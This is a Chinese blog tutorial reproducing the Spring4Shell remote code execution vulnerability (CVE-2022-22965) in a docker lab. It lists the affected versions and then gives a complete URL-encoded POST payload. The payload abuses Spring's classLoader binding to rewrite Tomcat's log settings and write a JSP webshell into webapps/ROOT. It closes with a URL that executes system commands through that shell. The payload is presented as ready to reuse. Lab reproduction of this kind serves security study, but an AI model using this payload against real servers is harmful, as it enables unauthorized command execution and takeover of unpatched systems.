Spring4shell远程命令执行(CVE-2022-22965)

本文介绍了Spring4Shell漏洞原理及利用条件,适用于JDK9+、特定版本的SpringFramework及部署方式。文中详细展示了如何使用Docker搭建测试环境,并通过构造POST请求实现Webshell上传,最终完成命令执行。
摘要由CSDN通过智能技术生成

一 漏洞原理

Java Spring framework今年又爆出两个远程命令执行漏洞,一个影响的是Spring Cloud组件,另一个就是Spring4Shell(因Log4Shell而得名),该漏洞是基于CVE-2010-1622的补丁绕过,通过构造的POST请求,可以上传Webshell,进而命令执行。

二 利用条件以及影响范围

  • JDK 9+

  • Spring Framework 版本(<5.2 | 5.2.0-19 | 5.3.0-17)

  • Apache Tomcat的web应用服务器,部署方式为WAR包

  • 依赖Spring Framework的spring-webmvc或spring-webflux组件

  • Spring Framework 5.3.X < 5.3.18 
  • Spring Framework 5.2.X < 5.2.20

三 漏洞复现

        1.环境搭建

                这里使用docker搭建(也可以使用在线的vulfocus)

                以下是使用docker搭建的命令

docker pull vulfocus/spring-core-rce-2022-03-29      //下载漏洞镜像
docker run -d -p 8010:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29   //启动并映射端口,映射的端口可以自主调节

搭建好之后,出现以下图片说明搭建成功

         2.漏洞利用

                使用抓包工具进行抓包,更改为post传输方式,修改数据包,使用payload进行weshell写入

payload(可以自行修改):

第一行:要写入的内容

第二行:文件后缀

第三行:写入路径

第四行:写入文件名称

第五行空值即可

suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

使用重发模块进行测试,如下图

在浏览器访问即可(shell.jsp记得替换为自己传入的文件名称哦)

 http://xx.xx.xx.xx:端口/shell.jsp?pwd=j&cmd=whoami

 exp:GitHub - reznok/Spring4Shell-POC: Dockerized Spring4Shell (CVE-2022-22965) PoC application and exploit

 

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

种树人1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值